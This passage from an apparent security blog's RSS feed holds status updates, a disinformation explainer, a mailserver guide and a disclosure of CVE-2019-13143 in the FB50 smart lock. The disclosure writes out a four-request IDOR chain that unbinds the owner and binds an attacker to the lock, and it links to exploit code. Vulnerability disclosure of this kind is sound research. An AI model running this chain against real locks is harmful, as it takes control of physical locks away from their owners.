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14 <item><title>Weekly status update, 09/17–09/27</title><description><![CDATA[<p>It’s a lazy Friday afternoon here; yet another off day this week thanks to my
15uni’s fest. My last “weekly” update was 10 days ago, and a lot has happened
16since then. Let’s get right into it!</p>
17
18<h3 id="my-switch-to-alpine">My switch to Alpine</h3>
19
20<p>Previously, I ran Debian with Buster/Sid repos, and ever since this happened</p>
21
22<div class="codehilite"><pre><span></span><code>$ dpkg --list <span class="p">|</span> wc -l
23<span class="m">3817</span>
24
25<span class="c1"># or something in that ballpark</span>
26</code></pre></div>
27
28<p>I’ve been wanting to reduce my system’s package count.</p>
29
30<p>Thus, I began my search for a smaller, simpler and lighter distro with a fairly
31sane package manager. I did come across Dylan Araps’
32<a href="https://getkiss.org">KISS Linux</a> project, but it seemed a little too hands-on
33for me (and still relatively new). I finally settled on
34<a href="https://alpinelinux.org">Alpine Linux</a>. According to their website:</p>
35
36<blockquote>
37 <p>Alpine Linux is a security-oriented, lightweight Linux distribution based
38 on musl libc and busybox.</p>
39</blockquote>
40
41<p>The installation was a breeze, and I was quite surprised to see WiFi working
42OOTB. In the past week of my using this distro, the only major hassle I faced
43was getting my Minecraft launcher to run. The JRE isn’t fully ported to <code>musl</code>
44yet.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup> The solution to that is fairly trivial and I plan to write about it
45soon. (hint: it involves chroots)</p>
46
47<p><img src="/static/img/rice-2019-09-27.png" alt="rice" /></p>
48
49<h3 id="packaging-for-alpine">Packaging for Alpine</h3>
50
51<p>On a related note, I’ve been busy packaging some of the stuff I use for Alpine
52– you can see my personal <a href="https://github.com/icyphox/aports">aports</a>
53repository if you’re interested. I’m currently working on packaging Nim too, so
54keep an eye out for that in the coming week.</p>
55
56<h3 id="talk-selection-at-pycon-india">Talk selection at PyCon India!</h3>
57
58<p>Yes! My buddy Raghav (<a href="https://twitter.com/_vologue">@_vologue</a>) and I are
59going to be speaking at PyCon India about our recent smart lock security
60research. The conference is happening in Chennai, much to our convenience.
61If you’re attending too, hit me up on Twitter and we can hang!</p>
62
63<h3 id="other">Other</h3>
64
65<p>That essentially sums up the <em>technical</em> stuff that I did. My Russian is going
66strong, my reading however, hasn’t. I have <em>yet</em> to finish those books! This
67week, for sure.</p>
68
69<p>Musically, I’ve been experimenting. I tried a bit of hip-hop and chilltrap, and
70I think I like it? I still find myself coming back to metalcore/deathcore.
71Here’s a list of artists I discovered (and liked) recently:</p>
72
73<ul>
74<li><a href="https://www.youtube.com/watch?v=r3uKGwcwGWA">Before I Turn</a></li>
75<li>生 Conform 死 (couldn’t find any official YouTube video, check Spotify)</li>
76<li><a href="https://www.youtube.com/watch?v=66eFK1ttdC4">Treehouse Burning</a></li>
77<li><a href="https://www.youtube.com/watch?v=m-w3XM2PwOY">Lee McKinney</a></li>
78<li><a href="https://www.youtube.com/watch?v=cUibXK7F3PM">Berried Alive</a> (rediscovered)</li>
79</ul>
80
81<p>That’s it for now, I’ll see you next week!</p>
82
83<div class="footnotes">
84<hr />
85<ol>
86<li id="fn-1">
87<p>The <a href="https://aboullaite.me/protola-alpine-java/">Portola Project</a> <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
88</li>
89</ol>
90</div>
91]]></description><link>https://icyphox.sh/blog/2019-09-27</link><pubDate>Fri, 27 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-27</guid></item><item><title>Weekly status update, 09/08–09/17</title><description><![CDATA[<p>This is something new I’m trying out, in an effort to write more frequently
92and to serve as a log of how I’m using my time. In theory, I will write this post
93every week. I’ll need someone to hold me accountable if I don’t. I have yet to decide on
94a format for this, but it will probably include a quick summary of the work I did,
95things I read, IRL stuff, etc.</p>
96
97<p>With the meta stuff out of the way, here’s what went down last week!</p>
98
99<h3 id="my-discovery-of-the-xxiivv-webring">My discovery of the XXIIVV webring</h3>
100
101<p>Did you notice the new fidget-spinner-like logo at the bottom? Click it! It’s a link to
102the <a href="https://webring.xxiivv.com">XXIIVV webring</a>. I really like the idea of webrings.
103It creates a small community of sites and enables sharing of traffic among these sites.
104The XXIIVV webring consists mostly of artists, designers and developers and gosh, some
105of those sites are beautiful. Mine pales in comparison.</p>
106
107<p>The webring also has a <a href="https://github.com/buckket/twtxt">twtxt</a> echo chamber aptly
108called <a href="https://webring.xxiivv.com/hallway.html">The Hallway</a>. twtxt is a fantastic project
109and its complexity-to-usefulness ratio greatly impresses me. You can find my personal
110twtxt feed at <code>/twtxt.txt</code> (root of this site).</p>
111
112<p>Which brings me to the next thing I did this/last week.</p>
113
114<h3 id="twsh-a-twtxt-client-written-in-bash"><code>twsh</code>: a twtxt client written in Bash</h3>
115
116<p>I’m not a fan of the official Python client, because you know, Python is bloat.
117As an advocate of <em>mnmlsm</em>, I can’t use it in good conscience. Thus, began my
118authorship of a truly mnml client in pure Bash. You can find it <a href="https://github.com/icyphox/twsh">here</a>.
119It’s not entirely useable as of yet, but it’s definitely getting there, with the help
120of <a href="https://nerdypepper.me">@nerdypepper</a>.</p>
121
122<h3 id="other">Other</h3>
123
124<p>I have been listening to my usual podcasts: Crime Junkie, True Crime Garage,
125Darknet Diaries & Off the Pill. To add to this list, I’ve begun binging Vice’s CYBER.
126It’s pretty good – each episode is only about 30 mins and it hits the sweet spot,
127delvering both interesting security content and news.</p>
128
129<p>My reading needs a ton of catching up. Hopefully I’ll get around to finishing up
130“The Unending Game” this week. And then go back to “Terrorism and Counterintelligence”.</p>
131
132<p>I’ve begun learning Russian! I’m really liking it so far, and it’s been surprisingly
133easy to pick up. Learning the Cyrillic script will require some relearning, especially
134with letters like в, н, р, с, etc. that look like English but sound entirely different.
135I think I’m pretty serious about learning this language – I’ve added the Russian keyboard
136to my Google Keyboard to aid in my familiarization of the alphabet. I’ve added the <code>RU</code>
137layout to my keyboard map too:</p>
138
139<pre><code>setxkbmap -option 'grp:alt_shift_toggle' -layout us,ru
140</code></pre>
141
142<p>With that ends my weekly update, and I’ll see you next week!</p>
143]]></description><link>https://icyphox.sh/blog/2019-09-17</link><pubDate>Tue, 17 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-17</guid></item><item><title>Disinformation demystified</title><description><![CDATA[<p>As with the disambiguation of any word, let’s start with its etymology and definiton.
144According to <a href="https://en.wikipedia.org/wiki/Disinformation">Wikipedia</a>,
145<em>disinformation</em> has been borrowed from the Russian word — <em>dezinformatisya</em> (дезинформа́ция),
146derived from the title of a KGB black propaganda department.</p>
147
148<blockquote>
149 <p>Disinformation is false information spread deliberately to deceive.</p>
150</blockquote>
151
152<p>To fully understand disinformation, especially in the modern age, we need to understand the
153key factors of any successful disinformation operation:</p>
154
155<ul>
156<li>creating disinformation (what)</li>
157<li>the motivation behind the op, or its end goal (why)</li>
158<li>the medium used to disperse the falsified information (how)</li>
159<li>the actor (who)</li>
160</ul>
161
162<p>At the end, we’ll also look at how you can use disinformation techniques to maintain OPSEC.</p>
163
164<p>In order to break monotony, I will also be using the terms “information operation”, or the shortened
165forms – “info op” & “disinfo”.</p>
166
167<h3 id="creating-disinformation">Creating disinformation</h3>
168
169<p>Crafting or creating disinformation is by no means a trivial task. Often, the quality
170of any disinformation sample is a huge indicator of the level of sophistication of the
171actor involved, i.e. is it a 12 year old troll or a nation state?</p>
172
173<p>Well crafted disinformation always has one primary characteristic — “plausibility”.
174The disinfo must sound reasonable. It must induce the notion it’s <em>likely</em> true.
175To achieve this, the target — be it an individual, a specific demographic or an entire
176nation — must be well researched. A deep understanding of the target’s culture, history,
177geography and psychology is required. It also needs circumstantial and situational awareness,
178of the target.</p>
179
180<p>There are many forms of disinformation. A few common ones are staged videos / photographs,
181recontextualized videos / photographs, blog posts, news articles & most recently — deepfakes.</p>
182
183<p>Here’s a tweet from <a href="https://twitter.com/thegrugq">the grugq</a>, showing a case of recontextualized
184imagery:</p>
185
186<blockquote class="twitter-tweet" data-dnt="true" data-theme="dark" data-link-color="#00ffff">
187<p lang="en" dir="ltr">Disinformation.
188<br><br>
189The content of the photo is not fake. The reality of what it captured is fake. The context it’s placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, is fake.
190<br><br>Recontextualisation as threat vector.
191<a href="https://t.co/Pko3f0xkXC">pic.twitter.com/Pko3f0xkXC</a>
192</p>— thaddeus e. grugq (@thegrugq)
193<a href="https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw">June 23, 2019</a>
194</blockquote>
195
196<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
197
198<h3 id="motivations-behind-an-information-operation">Motivations behind an information operation</h3>
199
200<p>I like to broadly categorize any info op as either proactive or reactive.
201Proactively, disinformation is spread with the desire to influence the target
202either before or during the occurence of an event. This is especially observed
203during elections.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup>
204In offensive information operations, the target’s psychological state can be affected by
205spreading <strong>fear, uncertainty & doubt</strong>, or FUD for short.</p>
206
207<p>Reactive disinformation is when the actor, usually a nation state in this case,
208screws up and wants to cover their tracks. A fitting example of this is the case
209of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over
210eastern Ukraine. This tragic incident has been attributed to Russian-backed
211separatists.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>
212Russian media is known to have desseminated a number of alternative & some even
213conspiratorial theories<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, in response. The number grew as the JIT’s (Dutch-lead Joint
214Investigation Team) investigations pointed towards the separatists.
215The idea was to <strong>muddle the information</strong> space with these theories, and as a result,
216potentially correct information takes a credibility hit.</p>
217
218<p>Another motive for an info op is to <strong>control the narrative</strong>. This is often seen in use
219in totalitarian regimes; when the government decides what the media portrays to the
220masses. The ongoing Hong Kong protests is a good example.<sup class="footnote-ref" id="fnref-4"><a href="#fn-4">4</a></sup> According to <a href="https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests">NPR</a>:</p>
221
222<blockquote>
223 <p>Official state media pin the blame for protests on the “black hand” of foreign interference,
224 namely from the United States, and what they have called criminal Hong Kong thugs.
225 A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters,
226 who are demanding an end to an extradition bill with China and the ability to elect their own leader.
227 Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience,
228 this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police.
229 …</p>
230</blockquote>
231
232<h3 id="media-used-to-disperse-disinfo">Media used to disperse disinfo</h3>
233
234<p>As seen in the above example of totalitarian governments, national TV and newspaper agencies
235play a key role in influence ops en masse. It guarantees outreach due to the channel/paper’s
236popularity.</p>
237
238<p>Twitter is another, obvious example. Due to the ease of creating accounts and the ability to
239generate activity programmatically via the API, Twitter bots are the go-to choice today for
240info ops. Essentially, an actor attempts to create “discussions” amongst “users” (read: bots),
241to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to
242get realtime insights into what sticks and what doesn’t.
243The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll
244factory — the <a href="https://en.wikipedia.org/wiki/Internet_Research_Agency">Internet Research Agency</a> (IRA)
245to create discussions about alternative theories.</p>
246
247<p>In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties
248actively invest in creating group chats to spread political messages and memes. These parties
249have volunteers whose sole job is to sit and forward messages.
250Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases,
251this is disinformation without a motive, or the motive is hard to determine simply because
252the source is impossible to trace, lost in forwards.<sup class="footnote-ref" id="fnref-5"><a href="#fn-5">5</a></sup>
253This is a difficult problem to combat, especially given the nature of the target audience.</p>
254
255<h3 id="the-actors-behind-disinfo-campaigns">The actors behind disinfo campaigns</h3>
256
257<p>I doubt this requires further elaboration, but in short:</p>
258
259<ul>
260<li>nation states and their intelligence agencies</li>
261<li>governments, political parties</li>
262<li>other non/quasi-governmental groups</li>
263<li>trolls</li>
264</ul>
265
266<p>This essentially sums up the what, why, how and who of disinformation. </p>
267
268<h3 id="personal-opsec">Personal OPSEC</h3>
269
270<p>This is a fun one. Now, it’s common knowledge that
271<strong>STFU is the best policy</strong>. But sometimes, this might not be possible, because
272afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might
273lead to your OPSEC being compromised.
274So if you really have to, you can feign activity using disinformation. For example,
275pick a place, and throw in subtle details pertaining to the weather, local events
276or regional politics of that place into your disinfo. Assuming this is Twitter, you can
277tweet stuff like:</p>
278
279<ul>
280<li>“Ugh, when will this hot streak end?!”</li>
281<li>“Traffic wonky because of the Mardi Gras parade.”</li>
282<li>“Woah, XYZ place is nice! Especially the fountains by ABC street.”</li>
283</ul>
284
285<p>Of course, if you’re a nobody on Twitter (like me), this is a non-issue for you.</p>
286
287<p>And please, don’t do this:</p>
288
289<p><img src="/static/img/mcafeetweet.png" alt="mcafee opsecfail" /></p>
290
291<h3 id="conclusion">Conclusion</h3>
292
293<p>The ability to influence someone’s decisions/thought process in just one tweet is
294scary. There is no simple way to combat disinformation. Social media is hard to control.
295Just like anything else in cyber, this too is an endless battle between social media corps
296and motivated actors.</p>
297
298<p>A huge shoutout to Bellingcat for their extensive research in this field, and for helping
299folks see the truth in a post-truth world.</p>
300
301<div class="footnotes">
302<hr />
303<ol>
304<li id="fn-1">
305<p><a href="https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked">This</a> episode of CYBER talks about election influence ops (features the grugq!). <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
306</li>
307
308<li id="fn-2">
309<p>The <a href="https://www.bellingcat.com/category/resources/podcasts/">Bellingcat Podcast</a>’s season one covers the MH17 investigation in detail. <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
310</li>
311
312<li id="fn-3">
313<p><a href="https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories">Wikipedia section on MH17 conspiracy theories</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
314</li>
315
316<li id="fn-4">
317<p><a href="https://twitter.com/gdead/status/1171032265629032450">Chinese newspaper spreading disinfo</a> <a href="#fnref-4" class="footnoteBackLink" title="Jump back to footnote 4 in the text.">↩</a></p>
318</li>
319
320<li id="fn-5">
321<p>Use an adblocker before clicking <a href="https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html">this</a>. <a href="#fnref-5" class="footnoteBackLink" title="Jump back to footnote 5 in the text.">↩</a></p>
322</li>
323</ol>
324</div>
325]]></description><link>https://icyphox.sh/blog/disinfo</link><pubDate>Tue, 10 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/disinfo</guid></item><item><title>Setting up my personal mailserver</title><description><![CDATA[<p>A mailserver was a long time coming. I’d made an attempt at setting one up
326around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And
327I almost did this time too.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
328
329<p>For this attempt, I wanted a simpler approach. I recall how terribly
330confusing Dovecot & Postfix were to configure and hence I decided to look
331for a containerized solution, that most importantly, runs on my cheap $5
332Digital Ocean VPS — 1 vCPU and 1 GB memory. Of which only around 500 MB
333is actually available. So yeah, <em>pretty</em> tight.</p>
334
335<h3 id="whats-available">What’s available</h3>
336
337<p>Turns out, there are quite a few of these OOTB, ready to deply solutions.
338These are the ones I came across:</p>
339
340<ul>
341<li><p><a href="https://poste.io">poste.io</a>: Based on an “open core” model. The base install is open source
342and free (as in beer), but you’ll have to pay for the extra stuff.</p></li>
343<li><p><a href="https://mailu.io">mailu.io</a>: Free software. Draws inspiration from poste.io,
344but ships with a web UI that I didn’t need. </p></li>
345<li><p><a href="https://mailcow.email">mailcow.email</a>: These fancy domains are getting ridiculous. But more importantly
346they need 2 GiB of RAM <em>plus</em> swap?! Nope.</p></li>
347<li><p><a href="https://mailinabox.email">Mail-in-a-Box</a>: Unlike the ones above, not a Docker-based solution but definitely worth
348a mention. It however, needs a fresh box to work with. A box with absolutely
349nothing else on it. I can’t afford to do that.</p></li>
350<li><p><a href="https://github.com/tomav/docker-mailserver/">docker-mailserver</a>: <strong>The winner</strong>. </p></li>
351</ul>
352
353<h3 id="so-docker-mailserver">So… <code>docker-mailserver</code></h3>
354
355<p>The first thing that caught my eye in the README:</p>
356
357<blockquote>
358 <p>Recommended:</p>
359
360 <ul>
361 <li>1 CPU</li>
362 <li>1GB RAM</li>
363 </ul>
364
365 <p>Minimum:</p>
366
367 <ul>
368 <li>1 CPU</li>
369 <li>512MB RAM</li>
370 </ul>
371</blockquote>
372
373<p>Fantastic, I can somehow squeeze this into my existing VPS.
374Setup was fairly simple & the docs are pretty good. It employs a single
375<code>.env</code> file for configuration, which is great.
376However, I did run into a couple of hiccups here and there.</p>
377
378<p>One especially nasty one was <code>docker</code> / <code>docker-compose</code> running out
379of memory.</p>
380
381<pre><code>Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory
382</code></pre>
383
384<p>But it eventually worked after a couple of attempts.</p>
385
386<p>The next thing I struggled with — DNS. Specifically, the with the step where
387the DKIM keys are generated<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>. The output under <br />
388<code>config/opendkim/keys/domain.tld/mail.txt</code> <br />
389isn’t exactly CloudFlare friendly; they can’t be directly copy-pasted into
390a <code>TXT</code> record. </p>
391
392<p>This is what it looks like.</p>
393
394<pre><code>mail._domainkey IN TXT ( "v=DKIM1; h=sha256; k=rsa; "
395 "p=<key>"
396 "<more key>" ) ; ----- DKIM key mail for icyphox.sh
397</code></pre>
398
399<p>But while configuring the record, you set “Type” to <code>TXT</code>, “Name” to <code>mail._domainkey</code>,
400and the “Value” to what’s inside the parenthesis <code>( )</code>, <em>removing</em> the quotes <code>""</code>.
401Also remove the part that appears to be a comment <code>; ----- ...</code>.</p>
402
403<p>To simplify debugging DNS issues later, it’s probably a good idea to
404point to your mailserver using a subdomain like <code>mail.domain.tld</code> using an
405<code>A</code> record.
406You’ll then have to set an <code>MX</code> record with the “Name” as <code>@</code> (or whatever your DNS provider
407uses to denote the root domain) and the “Value” to <code>mail.domain.tld</code>.
408And finally, the <code>PTR</code> (pointer record, I think), which is the reverse of
409your <code>A</code> record — “Name” as the server IP and “Value” as <code>mail.domain.tld</code>.
410I learnt this part the hard way, when my outgoing email kept getting
411rejected by Tutanota’s servers.</p>
412
413<p>Yet another hurdle — SSL/TLS certificates. This isn’t very properly
414documented, unless you read through the <a href="https://github.com/tomav/docker-mailserver/wiki/Installation-Examples">wiki</a>
415and look at an example. In short, install <code>certbot</code>, have port 80 free,
416and run </p>
417
418<div class="codehilite"><pre><span></span><code>$ certbot certonly --standalone -d mail.domain.tld
419</code></pre></div>
420
421<p>Once that’s done, edit the <code>docker-compose.yml</code> file to mount <code>/etc/letsencrypt</code> in
422the container, something like so:</p>
423
424<div class="codehilite"><pre><span></span><code><span class="nn">...</span>
425
426<span class="nt">volumes</span><span class="p">:</span>
427 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">maildata:/var/mail</span>
428 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">mailstate:/var/mail-state</span>
429 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">./config/:/tmp/docker-mailserver/</span>
430 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">/etc/letsencrypt:/etc/letsencrypt</span>
431
432<span class="nn">...</span>
433</code></pre></div>
434
435<p>With this done, you shouldn’t have mail clients complaining about
436wonky certs for which you’ll have to add an exception manually.</p>
437
438<h3 id="why-would-you">Why would you…?</h3>
439
440<p>There are a few good reasons for this:</p>
441
442<h4 id="privacy">Privacy</h4>
443
444<p>No really, this is <em>the</em> best choice for truly private
445email. Not ProtonMail, not Tutanota. Sure, they claim so and I don’t
446dispute it. Quoting Drew Devault<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>,</p>
447
448<blockquote>
449 <p>Truly secure systems do not require you to trust the service provider.</p>
450</blockquote>
451
452<p>But you have to <em>trust</em> ProtonMail. They run open source software, but
453how can you really be sure that it isn’t a backdoored version of it?</p>
454
455<p>When you host your own mailserver, you truly own your email without having to rely on any
456third-party.
457This isn’t an attempt to spread FUD. In the end, it all depends on your
458threat model™.</p>
459
460<h4 id="decentralization">Decentralization</h4>
461
462<p>Email today is basically run by Google. Gmail has over 1.2 <em>billion</em>
463active users. That’s obscene.
464Email was designed to be decentralized but big corps swooped in and
465made it a product. They now control your data, and it isn’t unknown that
466Google reads your mail. This again loops back to my previous point, privacy.
467Decentralization guarantees privacy. When you control your mail, you subsequently
468control who reads it.</p>
469
470<h4 id="personalization">Personalization</h4>
471
472<p>Can’t ignore this one. It’s cool to have a custom email address to flex.</p>
473
474<p><code>x@icyphox.sh</code> vs <code>gabe.newell4321@gmail.com</code></p>
475
476<p>Pfft, this is no competition.</p>
477
478<div class="footnotes">
479<hr />
480<ol>
481<li id="fn-1">
482<p>My <a href="https://twitter.com/icyphox/status/1161648321548566528">tweet</a> of frustration. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
483</li>
484
485<li id="fn-2">
486<p><a href="https://github.com/tomav/docker-mailserver#generate-dkim-keys">Link</a> to step in the docs. <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
487</li>
488
489<li id="fn-3">
490<p>From his <a href="https://drewdevault.com/2018/08/08/Signal.html">article</a> on why he doesn’t trust Signal. <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
491</li>
492</ol>
493</div>
494]]></description><link>https://icyphox.sh/blog/mailserver</link><pubDate>Thu, 15 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mailserver</guid></item><item><title>Picking the FB50 smart lock (CVE-2019-13143)</title><description><![CDATA[<p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure">SecureLayer7’s Blog</a>, with my edits</em>)</p>
495
496<h3 id="the-lock">The lock</h3>
497
498<p>The lock in question is the FB50 smart lock, manufactured by Shenzhen
499Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands
500across many ecommerce sites, and has over, an estimated, 15k+ users.</p>
501
502<p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
503the Play/App Store to function. The app requires the user to create an
504account before further functionality is available.
505It also facilitates configuring the fingerprint,
506and unlocking from a range via Bluetooth.</p>
507
508<p>We had two primary attack surfaces we decided to tackle — Bluetooth (BLE)
509and the Android app.</p>
510
511<h3 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h3>
512
513<p>Android phones have the ability to capture Bluetooth (HCI) traffic
514which can be enabled under Developer Options under Settings. We made
515around 4 “unlocks” from the Android phone, as seen in the screenshot.</p>
516
517<p><img src="/static/img/bt_wireshark.png" alt="wireshark packets" /></p>
518
519<p>This is the value sent in the <code>Write</code> request:</p>
520
521<p><img src="/static/img/bt_ws_value.png" alt="wireshark write req" /></p>
522
523<p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>,
524but that didn’t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
525
526<h3 id="via-the-android-app">Via the Android app</h3>
527
528<p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn’t get us too
529far since most of it was obfuscated. Why bother when there exists an
530easier approach – BurpSuite.</p>
531
532<p>We captured and played around with a bunch of requests and responses,
533and finally arrived at a working exploit chain.</p>
534
535<h3 id="the-exploit">The exploit</h3>
536
537<p>The entire exploit is a 4 step process consisting of authenticated
538HTTP requests:</p>
539
540<ol>
541<li>Using the lock’s MAC (obtained via a simple Bluetooth scan in the
542vicinity), get the barcode and lock ID</li>
543<li>Using the barcode, fetch the user ID</li>
544<li>Using the lock ID and user ID, unbind the user from the lock</li>
545<li>Provide a new name, attacker’s user ID and the MAC to bind the attacker
546to the lock</li>
547</ol>
548
549<p>This is what it looks like, in essence (personal info redacted).</p>
550
551<h4 id="request-1">Request 1</h4>
552
553<pre><code>POST /oklock/lock/queryDevice
554{"mac":"XX:XX:XX:XX:XX:XX"}
555</code></pre>
556
557<p>Response:</p>
558
559<pre><code>{
560 "result":{
561 "alarm":0,
562 "barcode":"<BARCODE>",
563 "chipType":"1",
564 "createAt":"2019-05-14 09:32:23.0",
565 "deviceId":"",
566 "electricity":"95",
567 "firmwareVersion":"2.3",
568 "gsmVersion":"",
569 "id":<LOCK ID>,
570 "isLock":0,
571 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
572 "lockPwd":"000000",
573 "mac":"XX:XX:XX:XX:XX:XX",
574 "name":"lock",
575 "radioName":"BlueFPL",
576 "type":0
577 },
578 "status":"2000"
579}
580</code></pre>
581
582<h4 id="request-2">Request 2</h4>
583
584<pre><code>POST /oklock/lock/getDeviceInfo
585
586{"barcode":"https://app.oklok.com.cn/app.html?id=<BARCODE>"}
587</code></pre>
588
589<p>Response:</p>
590
591<pre><code> "result":{
592 "account":"email@some.website",
593 "alarm":0,
594 "barcode":"<BARCODE>",
595 "chipType":"1",
596 "createAt":"2019-05-14 09:32:23.0",
597 "deviceId":"",
598 "electricity":"95",
599 "firmwareVersion":"2.3",
600 "gsmVersion":"",
601 "id":<LOCK ID>,
602 "isLock":0,
603 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
604 "lockPwd":"000000",
605 "mac":"XX:XX:XX:XX:XX:XX",
606 "name":"lock",
607 "radioName":"BlueFPL",
608 "type":0,
609 "userId":<USER ID>
610 }
611</code></pre>
612
613<h4 id="request-3">Request 3</h4>
614
615<pre><code>POST /oklock/lock/unbind
616
617{"lockId":"<LOCK ID>","userId":<USER ID>}
618</code></pre>
619
620<h4 id="request-4">Request 4</h4>
621
622<pre><code>POST /oklock/lock/bind
623
624{"name":"newname","userId":<USER ID>,"mac":"XX:XX:XX:XX:XX:XX"}
625</code></pre>
626
627<h3 id="thats-it-the-scary-stuff">That’s it! (& the scary stuff)</h3>
628
629<p>You should have the lock transferred to your account. The severity of this
630issue lies in the fact that the original owner completely loses access to
631their lock. They can’t even “rebind” to get it back, since the current owner
632(the attacker) needs to authorize that. </p>
633
634<p>To add to that, roughly 15,000 user accounts’ info are exposed via IDOR.
635Ilja, a cool dude I met on Telegram, noticed locks named “carlock”,
636“garage”, “MainDoor”, etc.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p>
637
638<p><em>shudders</em></p>
639
640<h3 id="proof-of-concept">Proof of Concept</h3>
641
642<p><a href="https://twitter.com/icyphox/status/1158396372778807296">PoC Video</a></p>
643
644<p><a href="https://github.com/icyphox/pwnfb50">Exploit code</a></p>
645
646<h3 id="disclosure-timeline">Disclosure timeline</h3>
647
648<ul>
649<li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li>
650<li><strong>27th June, 2019</strong>: Vendor notified about the issue</li>
651<li><strong>2nd July, 2019</strong>: CVE-2019-13143 reserved</li>
652<li>No response from vendor</li>
653<li><strong>2nd August 2019</strong>: Public disclosure</li>
654</ul>
655
656<h3 id="lessons-learnt">Lessons learnt</h3>
657
658<p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You’re better off with the “dumb” ones
659with keys. With the IoT plague spreading, it brings in a large attack surface
660to things that were otherwise “unhackable” (try hacking a “dumb” toaster).</p>
661
662<p>The IoT security scene is rife with bugs from over 10 years ago, like
663executable stack segments<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development
664practices in general.</p>
665
666<p>Our existing threat models and scenarios have to be updated to factor
667in these new exploitation possibilities. This also broadens the playing
668field for cyber warfare and mass surveillance campaigns. </p>
669
670<h3 id="researcher-info">Researcher info</h3>
671
672<p>This research was done at <a href="https://securelayer7.net">SecureLayer7</a>, Pune, IN by:</p>
673
674<ul>
675<li>Anirudh Oppiliappan (me)</li>
676<li>S. Raghav Pillai (<a href="https://twitter.com/_vologue">@_vologue</a>)</li>
677<li>Shubham Chougule (<a href="https://twitter.com/shubhamtc">@shubhamtc</a>)</li>
678</ul>
679
680<div class="footnotes">
681<hr />
682<ol>
683<li id="fn-1">
684<p><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/">This</a> article discusses a similar smart lock, but they broke the encryption. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
685</li>
686
687<li id="fn-2">
688<p>Thanks to Ilja Shaposhnikov (@drakylar). <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
689</li>
690
691<li id="fn-3">
692<p><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf">PDF</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
693</li>
694</ol>
695</div>
696]]></description><link>https://icyphox.sh/blog/fb50</link><pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/fb50</guid></item><item><title>Return Oriented Programming on ARM (32-bit)</title><description><![CDATA[<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM
697assembly to follow along. I highly recommend
